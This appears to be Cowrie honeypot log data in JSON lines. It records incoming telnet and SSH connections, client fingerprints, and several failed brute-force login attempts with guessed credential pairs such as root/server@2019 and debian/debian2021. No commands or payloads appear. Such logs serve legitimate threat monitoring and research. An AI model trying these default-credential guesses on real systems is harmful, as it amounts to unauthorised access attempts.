{"eventid":"cowrie.session.connect","src_ip":"162.253.42.116","src_port":56180,"dst_ip":"10.17.0.5","dst_port":23,"session":"59c3d8b5fd88","protocol":"telnet","message":"New connection: 162.253.42.116:56180 (10.17.0.5:23) [session: 59c3d8b5fd88]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:05:34.474927Z"}
{"eventid":"cowrie.session.closed","duration":42.84805727005005,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:05:44.662960Z","src_ip":"162.253.42.116","session":"6eeb27a9b280","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":43408,"dst_ip":"159.203.135.109","dst_port":22,"session":"a1d7a31f083e","protocol":"ssh","message":"New connection: 159.203.92.129:43408 (159.203.135.109:22) [session: a1d7a31f083e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:05:47.521109Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:05:47.525818Z","src_ip":"159.203.92.129","session":"a1d7a31f083e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:05:47.531075Z","src_ip":"159.203.92.129","session":"a1d7a31f083e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"amq","password":"amq","message":"login attempt [amq/amq] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:05:47.543861Z","src_ip":"159.203.92.129","session":"a1d7a31f083e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.253.42.116","src_port":39966,"dst_ip":"10.17.0.5","dst_port":23,"session":"9c9f294f0500","protocol":"telnet","message":"New connection: 162.253.42.116:39966 (10.17.0.5:23) [session: 9c9f294f0500]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:05:48.024214Z"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:05:48.550344Z","src_ip":"159.203.92.129","session":"a1d7a31f083e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.094014167785645,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:05:48.981976Z","src_ip":"162.253.42.116","session":"24396b787488","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.253.42.116","src_port":48094,"dst_ip":"10.17.0.5","dst_port":23,"session":"1a90acc9eb18","protocol":"telnet","message":"New connection: 162.253.42.116:48094 (10.17.0.5:23) [session: 1a90acc9eb18]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:05:52.339466Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.253.42.116","src_port":52770,"dst_ip":"10.17.0.5","dst_port":23,"session":"bbabbeba4bd6","protocol":"telnet","message":"New connection: 162.253.42.116:52770 (10.17.0.5:23) [session: bbabbeba4bd6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:05:57.073531Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.253.42.116","src_port":54762,"dst_ip":"10.17.0.5","dst_port":23,"session":"0c657235c3f3","protocol":"telnet","message":"New connection: 162.253.42.116:54762 (10.17.0.5:23) [session: 0c657235c3f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:05:59.072456Z"}
{"eventid":"cowrie.session.closed","duration":36.40085053443909,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:06:05.865888Z","src_ip":"162.253.42.116","session":"43c4c478e41c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.253.42.116","src_port":35444,"dst_ip":"10.17.0.5","dst_port":23,"session":"4a9a1497da52","protocol":"telnet","message":"New connection: 162.253.42.116:35444 (10.17.0.5:23) [session: 4a9a1497da52]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:06:07.577557Z"}
{"eventid":"cowrie.session.connect","src_ip":"102.213.34.99","src_port":58382,"dst_ip":"10.17.0.5","dst_port":22,"session":"50640da32cee","protocol":"ssh","message":"New connection: 102.213.34.99:58382 (10.17.0.5:22) [session: 50640da32cee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:06:07.999893Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:06:08.005276Z","src_ip":"102.213.34.99","session":"50640da32cee","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:06:08.176772Z","src_ip":"102.213.34.99","session":"50640da32cee","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"debian","password":"debian2021","message":"login attempt [debian/debian2021] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:06:08.889964Z","src_ip":"102.213.34.99","session":"50640da32cee","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.924057722091675,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:06:09.398908Z","src_ip":"162.253.42.116","session":"59c3d8b5fd88","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:06:10.062151Z","src_ip":"102.213.34.99","session":"50640da32cee","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.253.42.116","src_port":40468,"dst_ip":"10.17.0.5","dst_port":23,"session":"9b353b6e3e2a","protocol":"telnet","message":"New connection: 162.253.42.116:40468 (10.17.0.5:23) [session: 9b353b6e3e2a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:06:11.857330Z"}
{"eventid":"cowrie.session.closed","duration":34.07690668106079,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:06:22.100971Z","src_ip":"162.253.42.116","session":"9c9f294f0500","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.253.42.116","src_port":53696,"dst_ip":"10.17.0.5","dst_port":23,"session":"0c54754dc129","protocol":"telnet","message":"New connection: 162.253.42.116:53696 (10.17.0.5:23) [session: 0c54754dc129]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:06:22.913602Z"}
{"eventid":"cowrie.session.closed","duration":35.10066795349121,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:06:27.440039Z","src_ip":"162.253.42.116","session":"1a90acc9eb18","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"72.22.150.154","src_port":8787,"dst_ip":"10.17.0.5","dst_port":23,"session":"7e49ee0ff41b","protocol":"telnet","message":"New connection: 72.22.150.154:8787 (10.17.0.5:23) [session: 7e49ee0ff41b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:06:28.351189Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.253.42.116","src_port":35920,"dst_ip":"10.17.0.5","dst_port":23,"session":"be06bbff21e4","protocol":"telnet","message":"New connection: 162.253.42.116:35920 (10.17.0.5:23) [session: be06bbff21e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:06:31.862586Z"}
{"eventid":"cowrie.session.closed","duration":34.86460041999817,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:06:31.938043Z","src_ip":"162.253.42.116","session":"bbabbeba4bd6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":50000,"dst_ip":"159.203.135.109","dst_port":22,"session":"83a49d44d031","protocol":"ssh","message":"New connection: 159.203.92.129:50000 (159.203.135.109:22) [session: 83a49d44d031]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:06:32.626682Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:06:32.631510Z","src_ip":"159.203.92.129","session":"83a49d44d031","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:06:32.637253Z","src_ip":"159.203.92.129","session":"83a49d44d031","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"amq","password":"amq123","message":"login attempt [amq/amq123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:06:32.645350Z","src_ip":"159.203.92.129","session":"83a49d44d031","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.08026957511902,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:06:33.152579Z","src_ip":"162.253.42.116","session":"0c657235c3f3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:06:33.651499Z","src_ip":"159.203.92.129","session":"83a49d44d031","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.253.42.116","src_port":40498,"dst_ip":"10.17.0.5","dst_port":23,"session":"00178db35cd4","protocol":"telnet","message":"New connection: 162.253.42.116:40498 (10.17.0.5:23) [session: 00178db35cd4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:06:35.663131Z"}
{"eventid":"cowrie.session.closed","duration":35.26313614845276,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:06:42.840557Z","src_ip":"162.253.42.116","session":"4a9a1497da52","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.253.42.116","src_port":52052,"dst_ip":"10.17.0.5","dst_port":23,"session":"243f208f5952","protocol":"telnet","message":"New connection: 162.253.42.116:52052 (10.17.0.5:23) [session: 243f208f5952]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:06:45.449509Z"}
{"eventid":"cowrie.session.closed","duration":35.16192269325256,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:06:47.019162Z","src_ip":"162.253.42.116","session":"9b353b6e3e2a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.26.126.47","src_port":54130,"dst_ip":"159.203.135.109","dst_port":23,"session":"f164234f3729","protocol":"telnet","message":"New connection: 185.26.126.47:54130 (159.203.135.109:23) [session: f164234f3729]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:06:53.626658Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.26.126.47","src_port":57536,"dst_ip":"159.203.135.109","dst_port":23,"session":"588b395aaa68","protocol":"telnet","message":"New connection: 185.26.126.47:57536 (159.203.135.109:23) [session: 588b395aaa68]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:06:57.676258Z"}
{"eventid":"cowrie.session.closed","duration":36.51528072357178,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:06:59.428766Z","src_ip":"162.253.42.116","session":"0c54754dc129","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.372440338134766,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:07:06.234856Z","src_ip":"162.253.42.116","session":"be06bbff21e4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"102.213.34.99","src_port":58452,"dst_ip":"10.17.0.5","dst_port":22,"session":"08e0bfc13a68","protocol":"ssh","message":"New connection: 102.213.34.99:58452 (10.17.0.5:22) [session: 08e0bfc13a68]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:07:07.862958Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:07:07.868039Z","src_ip":"102.213.34.99","session":"08e0bfc13a68","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:07:08.037935Z","src_ip":"102.213.34.99","session":"08e0bfc13a68","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"server@2019","message":"login attempt [root/server@2019] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:07:08.749004Z","src_ip":"102.213.34.99","session":"08e0bfc13a68","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:07:09.921032Z","src_ip":"102.213.34.99","session":"08e0bfc13a68","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.334195137023926,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:07:10.997247Z","src_ip":"162.253.42.116","session":"00178db35cd4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.253.42.116","src_port":59826,"dst_ip":"10.17.0.5","dst_port":23,"session":"366a6b80f836","protocol":"telnet","message":"New connection: 162.253.42.116:59826 (10.17.0.5:23) [session: 366a6b80f836]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:07:16.822417Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":57416,"dst_ip":"159.203.135.109","dst_port":22,"session":"c0f0f5dbb35f","protocol":"ssh","message":"New connection: 159.203.92.129:57416 (159.203.135.109:22) [session: c0f0f5dbb35f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:07:17.654401Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:07:17.663392Z","src_ip":"159.203.92.129","session":"c0f0f5dbb35f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:07:17.667684Z","src_ip":"159.203.92.129","session":"c0f0f5dbb35f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ams","password":"123","message":"login attempt [ams/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:07:17.677978Z","src_ip":"159.203.92.129","session":"c0f0f5dbb35f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:07:18.684718Z","src_ip":"159.203.92.129","session":"c0f0f5dbb35f","protocol":"ssh"}
